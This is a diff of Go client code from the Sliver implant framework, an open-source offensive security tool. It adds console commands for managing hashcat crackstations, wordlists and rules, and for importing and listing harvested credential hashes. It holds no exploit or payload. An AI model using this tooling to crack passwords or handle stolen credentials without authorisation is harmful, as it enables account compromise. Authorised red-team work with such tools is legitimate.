func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var wordlistName string
|
||||
if len(args) > 0 {
|
||||
wordlistName = args[0]
|
||||
}
|
||||
if wordlistName == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
}
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, wordlist := range wordlists.Files {
|
||||
if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
|
||||
found = true
|
||||
_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
con.PrintInfof("Removed wordlist: %s\n", wordlistName)
|
||||
} else {
|
||||
con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackRulesRmCmd - Manage GPU cracking stations
|
||||
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var rulesName string
|
||||
if len(args) > 0 {
|
||||
rulesName = args[0]
|
||||
}
|
||||
if rulesName == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
}
|
||||
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, rulesFile := range rules.Files {
|
||||
if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
|
||||
found = true
|
||||
_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
con.PrintInfof("Removed rules: %s\n", rulesName)
|
||||
} else {
|
||||
con.PrintErrorf("Rules not found: %s\n", rulesName)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackHcstat2RmCmd - remove a hcstat2 file
|
||||
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var hcstat2Name string
|
||||
if len(args) > 0 {
|
||||
hcstat2Name = args[0]
|
||||
}
|
||||
if hcstat2Name == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
}
|
||||
hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, hcstat2File := range hcstat2s.Files {
|
||||
if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
|
||||
found = true
|
||||
_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
|
||||
} else {
|
||||
con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
package crack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
|
||||
}
|
||||
crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(crackFiles.Files) == 0 {
|
||||
con.PrintInfof("No crack files uploaded to server\n")
|
||||
} else {
|
||||
con.Println()
|
||||
PrintCrackFilesByType(crackFiles, con)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackStationsCmd - Manage GPU cracking stations
|
||||
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNoCrackstations(con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("No crackstations connected to server\n")
|
||||
}
|
||||
|
||||
func AreCrackersOnline(con *console.SliverConsoleClient) bool {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
|
||||
if 0 < len(cracker.CUDA) {
|
||||
for _, cuda := range cracker.CUDA {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.Metal) {
|
||||
for _, metal := range cracker.Metal {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.OpenCL) {
|
||||
for _, openCL := range cracker.OpenCL {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
|
||||
})
|
||||
}
|
||||
|
||||
func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_WORDLIST {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
|
||||
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
})
|
||||
}
|
||||
|
||||
func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_RULES {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
|
||||
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
})
|
||||
}
|
||||
|
||||
func byteCountSI(b int64) string {
|
||||
const unit = 1000
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %cB",
|
||||
float64(b)/float64(div), "kMGTPE"[exp])
|
||||
}
|
||||
|
||||
func byteCountIEC(b int64) string {
|
||||
const unit = 1024
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %ciB",
|
||||
float64(b)/float64(div), "KMGTPE"[exp])
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
package creds
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
UserColonHashNewlineFormat = "user:hash" // username:hash\n
|
||||
HashNewlineFormat = "hash" // hash\n
|
||||
CSVFormat = "csv" // username,hash\n
|
||||
)
|
||||
|
||||
// CredsCmd - Add new credentials
|
||||
func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
collection, _ := cmd.Flags().GetString("collection")
|
||||
username, _ := cmd.Flags().GetString("username")
|
||||
plaintext, _ := cmd.Flags().GetString("plaintext")
|
||||
hash, _ := cmd.Flags().GetString("hash")
|
||||
hashTypeF, _ := cmd.Flags().GetString("hash-type")
|
||||
hashType := parseHashTypeString(hashTypeF)
|
||||
if plaintext == "" && hash == "" {
|
||||
con.PrintErrorf("Either a plaintext or a hash must be provided\n")
|
||||
return
|
||||
}
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
|
||||
Credentials: []*clientpb.Credential{
|
||||
{
|
||||
Collection: collection,
|
||||
Username: username,
|
||||
Plaintext: plaintext,
|
||||
Hash: hash,
|
||||
HashType: hashType,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
|
||||
// CredsCmd - Add new credentials
|
||||
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
collection, _ := cmd.Flags().GetString("collection")
|
||||
filePath := args[0]
|
||||
fileFormat, _ := cmd.Flags().GetString("file-format")
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
con.PrintErrorf("File '%s' does not exist\n", filePath)
|
||||
return
|
||||
}
|
||||
hashTypeF, _ := cmd.Flags().GetString("hash-type")
|
||||
hashType := parseHashTypeString(hashTypeF)
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
|
||||
var creds *clientpb.Credentials
|
||||
var err error
|
||||
switch fileFormat {
|
||||
case UserColonHashNewlineFormat:
|
||||
creds, err = parseUserColonHashNewline(filePath, hashType)
|
||||
case HashNewlineFormat:
|
||||
creds, err = parseHashNewline(filePath, hashType)
|
||||
case CSVFormat:
|
||||
creds, err = parseCSV(filePath, hashType)
|
||||
default:
|
||||
con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, cred := range creds.Credentials {
|
||||
cred.Collection = collection
|
||||
}
|
||||
con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
|
||||
_, err = con.Rpc.CredsAdd(context.Background(), creds)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
|
||||
func parseHashType(raw string) clientpb.HashType {
|
||||
hashInt, err := strconv.Atoi(raw)
|
||||
if err == nil {
|
||||
return clientpb.HashType(hashInt)
|
||||
}
|
||||
return clientpb.HashType_INVALID
|
||||
}
|
||||
|
||||
// same as parseHashType, but use the string representation.
|
||||
func parseHashTypeString(raw string) clientpb.HashType {
|
||||
if hashType, valid := clientpb.HashType_value[raw]; valid {
|
||||
return clientpb.HashType(hashType)
|
||||
}
|
||||
|
||||
return clientpb.HashType_INVALID
|
||||
}
|
||||
|
||||
func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
creds := &clientpb.Credentials{}
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
|
||||
Username: parts[0],
|
||||
Hash: parts[1],
|
||||
HashType: hashType,
|
||||
})
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
|
||||
func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
creds := &clientpb.Credentials{}
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
|
||||
Hash: line,
|
||||
HashType: hashType,
|
||||
})
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
|
||||
func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
creds := &clientpb.Credentials{}
|
||||
scanner.Scan() // skip header
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
parts := strings.Split(line, ",")
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
|
||||
Username: parts[0],
|
||||
Hash: parts[1],
|
||||
HashType: hashType,
|
||||
})
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
package creds
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// CredsCmd - Manage credentials
|
||||
func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
con.PrintInfof("No credentials 🙁\n")
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
|
||||
func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
|
||||
collections := make(map[string][]*clientpb.Credential)
|
||||
for _, cred := range creds {
|
||||
collections[cred.Collection] = append(collections[cred.Collection], cred)
|
||||
}
|
||||
for collection, creds := range collections {
|
||||
printCollection(collection, creds, con)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if collection != "" {
|
||||
tw.SetTitle(console.Bold + collection + console.Normal)
|
||||
} else {
|
||||
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
|
||||
}
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Username",
|
||||
"Plaintext",
|
||||
"Hash",
|
||||
"Hash Type",
|
||||
"Cracked",
|
||||
})
|
||||
for _, cred := range creds {
|
||||
tw.AppendRow(table.Row{
|
||||
strings.Split(cred.ID, "-")[0],
|
||||
cred.Username,
|
||||
cred.Plaintext,
|
||||
cred.Hash,
|
||||
cred.HashType,
|
||||
cred.IsCracked,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// CredsHashTypeCompleter completes hash types.
|
||||
func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
for hashType, desc := range hashTypes {
|
||||
results = append(results, hashType)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("hash types")
|
||||
})
|
||||
}
|
||||
|
||||
// CredsHashFileFormatCompleter completes file formats for hash-files
|
||||
func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionValuesDescribed(
|
||||
UserColonHashNewlineFormat, "One hash per line.",
|
||||
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
|
||||
CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
|
||||
).Tag("hash file formats")
|
||||
}
|
||||
|
||||
// CredsCollectionCompleter completes existing creds collection names
|
||||
func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return carapace.Action{}
|
||||
}
|
||||
|
||||
for _, cred := range creds.Credentials {
|
||||
if cred.Collection != "" {
|
||||
results = append(results, cred.Collection)
|
||||
}
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("creds collections")
|
||||
})
|
||||
}
|
||||
|
||||
// CredsCredentialIDCompleter completes credential IDs.
|
||||
func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return carapace.Action{}
|
||||
}
|
||||
|
||||
for _, cred := range creds.Credentials {
|
||||
results = append(results, cred.ID)
|
||||
|
||||
var hostID string
|
||||
if cred.OriginHostUUID != "" {
|
||||
if len(cred.OriginHostUUID) > 8 {
|
||||
hostID = cred.OriginHostUUID[8:]
|
||||
} else {
|
||||
hostID = cred.OriginHostUUID
|
||||
}
|
||||
} else {
|
||||
hostID = "None"
|
||||
}
|
||||
|
||||
var username string
|
||||
if cred.Username != "" {
|
||||
username = fmt.Sprintf(" (user: %s)", cred.Username)
|
||||
}
|
||||
|
||||
var cracked string
|
||||
if cred.IsCracked {
|
||||
cracked = "[C]"
|
||||
} else {
|
||||
cracked = "[ ]"
|
||||
}
|
||||
|
||||
desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
|
||||
results = append(results, desc)
|
||||
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("credentials")
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package creds
|
||||
|
||||
// List of all available hash-types, for completions.
|
||||
// Unfortunately this list has to be maintained manually,
|
||||
// until someone devises a way to do so automatically.
|
||||
var hashTypes = map[string]string{
|
||||
"MD5": "MD5", // Enum 0 in proto file.
|
||||
|
||||
"MD4": "MD4",
|
||||
"SHA1": "SHA1",
|
||||
"SHA2_224": "SHA2-224",
|
||||
"SHA2_256": "SHA2-256",
|
||||
"SHA2_384": "SHA2-384",
|
||||
"SHA2_512": "SHA2-512",
|
||||
"SHA3_224": "SHA3-224",
|
||||
"SHA3_256": "SHA3-256",
|
||||
"SHA3_384": "SHA3-384",
|
||||
"SHA3_512": "SHA3-512",
|
||||
"RIPEMD_160": "RIPEMD-160",
|
||||
"BLAKE2B_256": "BLAKE2b-512",
|
||||
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
"GOST_R_34_11_94": "GOST R 34.11-94",
|
||||
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
|
||||
"HALF_MD5": "Half MD5",
|
||||
"KECCAK_224": "Keccak-224",
|
||||
"KECCAK_256": "Keccak-256",
|
||||
"KECCAK_384": "Keccak-384",
|
||||
"KECCAK_512": "Keccak-512",
|
||||
"WHIRLPOOL": "Whirlpool",
|
||||
"SIPHASH": "SipHash",
|
||||
